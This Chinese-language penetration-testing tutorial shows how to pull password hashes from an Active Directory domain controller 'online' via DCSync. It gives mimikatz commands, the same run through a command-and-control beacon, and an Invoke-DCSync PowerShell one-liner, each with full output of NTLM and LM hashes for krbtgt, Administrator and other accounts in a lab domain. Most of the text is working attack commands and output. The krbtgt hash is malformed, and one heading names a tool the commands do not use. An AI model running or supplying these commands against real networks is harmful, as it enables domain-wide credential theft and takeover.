

在线方式读取ntds.dit文件

在线的方式就是直接读取不需要在导出ntds文件,在域环境中,不要直接在线获取hash,特别是域环境比较大的时候,在线获取hash等待时间较长,工具占用资源太多,容易造成域控服务器崩溃

mimikatz

1、可以读取所有用户的hash

```
lsadump::dcsync /domain:hack.com /all /csv
```

```
mimikatz # lsadump::dcsync /domain:hack.com /all /csv
[DC] 'hack.com' will be the domain
[DC] 'DC.hack.com' will be the DC server
[DC] Exporting domain 'hack.com'
502 krbtgt 72cbb2460ec03e4fcf3ef858e14fd11 514
1104 wanli 570a9a65db8fba761c1008a51d4c95ab 66048
1107 khack 570a9a65db8fba761c1008a51d4c95ab 512
1109 ls e45a314c664d40a227f9540121d1a29d 66048
1110 WIN10$ a79dd609f06ca24a3ba6eb6dc233db96 4096
1106 zs 570a9a65db8fba761c1008a51d4c95ab 66048
1105 WANLI-PC$ 09c9084814e0ae62fbd9efef12099cda 4096
1111 2012-1$ e053d1489e4a2427ea97ad7af25a03de 4096
1108 PC-WEB$ 2df513506a6286526972080e713125e1 4096
1112 2012-2$ 5f5be6b93677e377eb6ef77a61a016b7 4096
1001 DC$ 22ac75d3307297a71c99da8c88b39ffc 532480
500 Administrator 5143e7a41f1731bf919c7c5d5608dc37 512
```

```
beacon> mimikatz lsadump::dcsync /domain:hack.com /all /csv
[*] Tasked beacon to run mimikatz's lsadump::dcsync /domain:hack.com /all /csv command
[+] host called home, sent: 706121 bytes
[+] received output:
[DC] 'hack.com' will be the domain
[DC] 'DC.hack.com' will be the DC server
[DC] Exporting domain 'hack.com'
502 krbtgt 72cbb2460ec03e4fcf3ef858e14fd11 514
1104 wanli 570a9a65db8fba761c1008a51d4c95ab 66048
1107 khack 570a9a65db8fba761c1008a51d4c95ab 512
1109 ls e45a314c664d40a227f9540121d1a29d 66048
1110 WIN10$ a79dd609f06ca24a3ba6eb6dc233db96 4096
1106 zs 570a9a65db8fba761c1008a51d4c95ab 66048
1105 WANLI-PC$ 09c9084814e0ae62fbd9efef12099cda 4096
1111 2012-1$ e053d1489e4a2427ea97ad7af25a03de 4096
1108 PC-WEB$ 2df513506a6286526972080e713125e1 4096
1112 2012-2$ 5f5be6b93677e377eb6ef77a61a016b7 4096
1001 DC$ 22ac75d3307297a71c99da8c88b39ffc 532480
500 Administrator 5143e7a41f1731bf919c7c5d5608dc37 512
```

2、也可以读取单个用户的hash

```
lsadump::dcsync /domain:hack.com /user:administrator
```

```
mimikatz # lsadump::dcsync /domain:hack.com /user:administrator
[DC] 'hack.com' will be the domain
[DC] 'DC.hack.com' will be the DC server
[DC] 'administrator' will be the user account

Object RDN                : Administrator

** SAM ACCOUNT **

SAM Username              : Administrator
Account Type              : 30000000 ( USER_OBJECT )
User Account Control      : 00000200 ( NORMAL_ACCOUNT )
Account expiration       : 1601/1/1 8:00:00
Password last change     : 2022/9/16 14:15:50
Object Security ID       : S-1-5-21-2716900768-72748719-3475352185-500
Object Relative ID       : 500

Credentials:
Hash NTLM: 5143e7a41f1731bf919c7c5d5608dc37
ntlm- 0: 5143e7a41f1731bf919c7c5d5608dc37
ntlm- 1: b770f687b25fa6be274bf99a69398578
ntlm- 2: 33b89cf1674c1378a9cbf91de7189a7c
lm - 0: 421a3b443ef8da478a214ffc10ed5f08
lm - 1: b70fedb9a719ea8a47a380084edf812d
```

```
beacon> mimikatz lsadump::dcsync /domain:hack.com /user:administrator
[*] Tasked beacon to run mimikatz's lsadump::dcsync /domain:hack.com /user:administrator command
[+] host called home, sent: 706121 bytes
[+] received output:
[DC] 'hack.com' will be the domain
[DC] 'DC.hack.com' will be the DC server
[DC] 'administrator' will be the user account

Object RDN                : Administrator

** SAM ACCOUNT **

SAM Username              : Administrator
Account Type              : 30000000 ( USER_OBJECT )
User Account Control      : 00000200 ( NORMAL_ACCOUNT )
Account expiration       : 1601/1/1 8:00:00
Password last change     : 2022/9/16 14:15:50
Object Security ID       : S-1-5-21-2716900768-72748719-3475352185-500
Object Relative ID       : 500

Credentials:
Hash NTLM: 5143e7a41f1731bf919c7c5d5608dc37
ntlm- 0: 5143e7a41f1731bf919c7c5d5608dc37
```

Quarks PwDump

- 1、上传工具到目标机器，使用命令先导出ntds文件，然后直接读取


```
C:\Users\Administrator\Desktop>powershell Import-Module .\Invoke-DCSync.ps1;Invoke-DCSync -PWDumpFormat
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:72cbb2460ec03e4fcf3ef858e14fd11:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5143e7a41f1731bf919c7c5d5608dc37:::
wanli:1104:aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab:::
zs:1106:aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab:::
khack:1107:aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab:::
ls:1109:aad3b435b51404eeaad3b435b51404ee:e45a314c664d40a227f9540121d1a29d:::
```